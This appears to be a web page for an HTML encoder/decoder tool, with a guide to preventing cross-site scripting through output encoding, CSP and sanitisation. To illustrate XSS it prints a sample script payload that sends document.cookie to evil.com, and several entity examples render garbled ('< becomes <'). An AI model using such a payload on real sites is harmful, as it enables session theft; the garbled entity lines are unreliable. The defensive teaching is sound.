Convert text to HTML entities (encode) or HTML entities back to plain text (decode). Handles all common entities and numeric character references.
paste text or HTML entities
Mode
Input
Output (click to copy)
How to Use the HTML Encoder/Decoder
Choose encode or decode — Encode converts HTML special characters to entities. Decode converts entities back to characters.
Enter your text or HTML — paste the content containing special characters (encode) or HTML entities (decode).
Read the output — encoded output is safe for embedding in HTML. Decoded output shows the original readable text.
Select encoding depth — minimal encoding converts only the five essential characters. Full encoding converts all non-ASCII characters to named or numeric entities.
Copy the result — use in your HTML template, database query, or email template.
🛡️ Security critical: Always HTML-encode user-supplied content before inserting it into HTML. Failure to encode is the cause of Cross-Site Scripting (XSS) — one of the most common web security vulnerabilities. A malicious user entering <script>alert('XSS')</script> as their name will execute JavaScript in other users' browsers if not encoded first.
Understanding HTML Encoding
🔤 The Five Essential Entities
< becomes < (less than). > becomes > (greater than). & becomes & (ampersand). " becomes " (double quote in attributes). ' becomes ' or ' (single quote in attributes). These five characters have special meaning in HTML and MUST be encoded in user-supplied content.
Cross-Site Scripting occurs when user input is rendered as HTML without encoding. <script>document.location='https://evil.com?c='+document.cookie</script> entered as a username steals cookies if not encoded. Encoded: <script> is displayed as text, not executed. HTML encoding is the primary XSS defence.
🗄️ Database Storage
The classic mistake: storing HTML-encoded content in databases. Store raw text in databases; encode at display time. Storing encoded content causes double-encoding issues (&) when displayed. The encoding layer belongs in the template or view layer, not the data storage layer.
📧 HTML Email
Email templates require careful HTML encoding because email clients have inconsistent HTML support and security restrictions. Ampersands in URLs within email HTML must be encoded: href='search?a=1&b=2'. Special characters in email subject lines require MIME encoding (different from HTML encoding). Test HTML emails in multiple clients before sending.
🌐 Content Security Policy
HTML encoding prevents XSS but CSP (Content-Security-Policy header) provides defence in depth. CSP specifies which scripts are allowed to execute: Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}'. Even if XSS encoding fails, CSP prevents injected scripts from running. HTML encoding + CSP = comprehensive XSS protection.
HTML Security in Web Development
Template engine auto-escaping
Modern template engines escape HTML by default: React's JSX escapes all JSX expressions. Jinja2 (Python) auto-escapes when autoescape=True. Django templates auto-escape all variables. Vue.js escapes all mustache expressions. Handlebars escapes all {{expressions}}. The dangerous exception: each framework provides a way to render raw HTML (React's dangerouslySetInnerHTML, Jinja2's | safe filter) — these bypass escaping and must only be used with trusted, sanitised content.
Output encoding contexts
Encoding requirements differ by context. HTML body: < > & must be encoded. HTML attribute: additionally encode quotes. JavaScript string: use JSON.stringify() or JS string escaping. URL parameter: percent-encode with encodeURIComponent(). CSS value: avoid user input in CSS; if necessary, validate strictly. Inline event handler: requires both HTML and JavaScript encoding. Using the wrong encoding for the context creates vulnerabilities even when encoding is applied.
Sanitisation vs encoding
HTML encoding converts all special characters to entities — safe but preserves all content as text. HTML sanitisation allows some HTML (bold, links) while removing dangerous elements (scripts). Sanitisation is needed when you want to allow user-formatted content (like a rich text editor). Use a proven sanitisation library (DOMPurify for JavaScript, Bleach for Python) — never write your own sanitiser. Encoding and sanitisation are complementary, not alternatives.
🛡️ XSS prevention checklist: Encode all user content before HTML insertion ✓. Use template engines with auto-escaping ✓. Implement Content-Security-Policy headers ✓. Validate input on the server side ✓. Use HttpOnly cookies to protect session tokens ✓. Avoid innerHTML — use textContent for user data ✓. Regular security scanning with OWASP ZAP or similar ✓. These practices together make XSS practically impossible.
Frequently Asked Questions
What is HTML encoding?
HTML encoding (also called HTML escaping) replaces special characters with their HTML entity equivalents. < becomes <, > becomes >, & becomes &, " becomes ". This prevents HTML injection and displays characters correctly in web pages.
When do I need to HTML encode?
When displaying user-submitted content in a web page, when inserting text into HTML attributes, when showing code examples on a website, and whenever you need to prevent characters from being interpreted as HTML tags.
What is the difference between encoding and escaping?
Encoding and escaping are used interchangeably in web development. Both mean converting characters to their safe HTML representation. Some developers reserve 'encoding' for character set conversion (UTF-8) and 'escaping' for HTML entity replacement, but in practice the terms overlap.